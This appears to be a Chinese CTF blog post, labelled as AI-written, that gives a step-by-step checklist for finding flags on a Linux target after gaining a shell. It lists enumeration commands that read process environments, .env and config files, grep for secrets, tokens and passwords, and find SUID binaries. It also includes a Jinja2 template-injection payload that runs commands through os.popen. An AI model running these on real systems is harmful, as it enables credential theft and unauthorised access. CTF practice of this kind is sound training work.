Linux 靶机拿到 shell 后寻找 flag 流程#

1. 先确认当前环境#

拿到命令执行后，不要一上来就乱 find /，先确认当前用户、目录、权限。

1
id
2
whoami
3
pwd
4
ls -la

作用：

1
id / whoami     查看当前用户权限
2
pwd             查看当前目录
3
ls -la          查看当前目录下有没有隐藏文件

如果当前目录下有源码，先读源码：

1
cat app.py
2
cat *.py
3
cat *.sh

很多 Web 题的 flag 路径可能写在源码、配置文件、环境变量里。

2. 先查常见 flag 位置#

CTF 靶机里 flag 最常见的位置：

1
ls -la /
2
cat /flag
3
cat /flag.txt
4
cat /f*

也可以看看根目录完整内容：

1
ls -la /

如果看到奇怪文件名，比如：

1
/flag_is_here
2
/readflag
3
/this_is_flag

直接读：

1
cat /文件名

3. 查 Web 项目目录#

常见 Web 项目目录有：

1
ls -la /app
2
ls -la /var/www
3
ls -la /var/www/html
4
ls -la /home
5
ls -la /tmp

可以逐个试：

1
find /app -maxdepth 3 -type f 2>/dev/null
2
find /var/www -maxdepth 3 -type f 2>/dev/null
3
find /home -maxdepth 3 -type f 2>/dev/null
4
find /tmp -maxdepth 3 -type f 2>/dev/null

如果发现配置文件：

1
cat config.py
2
cat .env
3
cat settings.py
4
cat docker-compose.yml

重点看里面有没有：

1
FLAG
2
flag
3
SECRET
4
TOKEN
5
password

4. 用文件名搜索 flag#

最基础：

1
find / -name "*flag*" 2>/dev/null

更完整一点：

1
find / -iname "*flag*" 2>/dev/null
2
find / -iname "*ctf*" 2>/dev/null
3
find / -iname "*secret*" 2>/dev/null
4
find / -iname "*key*" 2>/dev/null

如果根目录太大，可以限制深度：

1
find / -maxdepth 3 -type f 2>/dev/null

如果怀疑 flag 是随机文件名：

1
find / -maxdepth 2 -type f 2>/dev/null

5. 查环境变量#

很多 Docker 靶机直接把 flag 放在环境变量里。

1
env
2
printenv

然后重点看有没有：

1
FLAG=
2
flag=
3
CTF=
4
SECRET=

有些时候 env 看不到，可以读进程环境变量：

1
cat /proc/self/environ | tr '\0' '\n'
2
cat /proc/1/environ | tr '\0' '\n'

这里很重要：

1
/proc/self/environ

是当前命令进程的环境变量。

1
/proc/1/environ

是 1 号进程的环境变量。Docker 容器里 1 号进程通常就是题目主服务进程，所以 flag 很可能藏在这里。

6. 查进程和文件描述符#

先看进程：

1
ps aux
2
ps -ef

如果看到主进程是：

1
python app.py

可以继续看它的工作目录：

1
readlink /proc/1/cwd
2
ls -la /proc/1/cwd

看它打开了哪些文件：

1
ls -la /proc/1/fd

如果里面有可疑 fd，比如：

1
3 -> /flag
2
4 -> /tmp/xxx

可以读：

1
cat /proc/1/fd/3
2
cat /proc/1/fd/4

这就是你之前问的 /proc/1/fd/3 那类思路。

7. 搜索文件内容#

如果文件名不带 flag，可以搜内容。

先小范围搜：

1
grep -R "flag" /app 2>/dev/null
2
grep -R "ctf" /app 2>/dev/null
3
grep -R "FLAG" /app 2>/dev/null

再扩大到常见目录：

1
grep -R "flag" /home /tmp /var/www /app 2>/dev/null

如果题目 flag 格式明确，比如 flag{}、NSSCTF{}、BUUCTF{}、ISCTF{}，直接搜格式：

1
grep -R "flag{" / 2>/dev/null
2
grep -R "NSSCTF{" / 2>/dev/null
3
grep -R "BUUCTF{" / 2>/dev/null
4
grep -R "ISCTF{" / 2>/dev/null

8. 查隐藏文件#

很多题会把 flag 放在隐藏文件里：

1
ls -la /
2
ls -la /app
3
ls -la /home
4
ls -la /tmp

重点关注：

1
.flag
2
.flag.txt
3
.env
4
.secret

读取：

1
cat /.flag
2
cat /app/.flag
3
cat /app/.env

9. 查权限特殊文件#

有些题需要通过可执行程序读 flag，比如 readflag。

1
find / -perm -4000 -type f 2>/dev/null
2
find / -name "readflag" 2>/dev/null

如果发现：

1
/readflag

可以执行：

1
/readflag

或者：

1
./readflag

10. 推荐实际执行顺序#

拿到 shell 后，我一般按这个顺序跑：

1
id
2
pwd
3
ls -la
4
cat app.py
5
ls -la /
6
cat /flag
7
cat /flag.txt
8
cat /f*
9
env
10
cat /proc/1/environ | tr '\0' '\n'
11
ps aux
12
readlink /proc/1/cwd
13
ls -la /proc/1/fd
14
find / -maxdepth 3 -type f 2>/dev/null
15
find / -iname "*flag*" 2>/dev/null
16
find / -iname "*secret*" 2>/dev/null
17
grep -R "flag{" /app /home /tmp /var/www 2>/dev/null

11. Fenjing 里对应操作#

你这个题里可用的命令执行链是：

1
{{(QAQ.__eq__.__globals__.sys.modules.os.popen('命令')).read()}}

所以 Fenjing shell 里直接输入：

1
ls -la /
2
env
3
cat /proc/1/environ | tr '\0' '\n'
4
ls -la /proc/1/fd
5
cat /proc/1/fd/3

如果是手动拼 payload，就把命令放进 popen() 里面即可。

总结一句话#

拿到 Linux shell 后找 flag 的核心顺序是：

1
当前目录 → 根目录 → Web 项目目录 → 环境变量 → /proc/1 → 文件名搜索 → 内容搜索 → SUID/readflag

这套流程基本能覆盖大多数 Web/SSTI/RCE 类 CTF 靶机。

版权声明：本文由 余林阳 创作，转载请注明出处。

是真是假

拿到shell要干的事情(ai)

Linux 靶机拿到 shell 后寻找 flag 流程#

1. 先确认当前环境#

2. 先查常见 flag 位置#

3. 查 Web 项目目录#

4. 用文件名搜索 flag#

5. 查环境变量#

6. 查进程和文件描述符#

7. 搜索文件内容#

8. 查隐藏文件#

9. 查权限特殊文件#

10. 推荐实际执行顺序#

11. Fenjing 里对应操作#

总结一句话#

喜欢这篇文章吗？

评论区

目录

是真 是假

拿到shell要干的事情(ai)

Linux 靶机拿到 shell 后寻找 flag 流程#

1. 先确认当前环境#

2. 先查常见 flag 位置#

3. 查 Web 项目目录#

4. 用文件名搜索 flag#

5. 查环境变量#

6. 查进程和文件描述符#

7. 搜索文件内容#

8. 查隐藏文件#

9. 查权限特殊文件#

10. 推荐实际执行顺序#

11. Fenjing 里对应操作#

总结一句话#

喜欢这篇文章吗？

评论区

目录

是真是假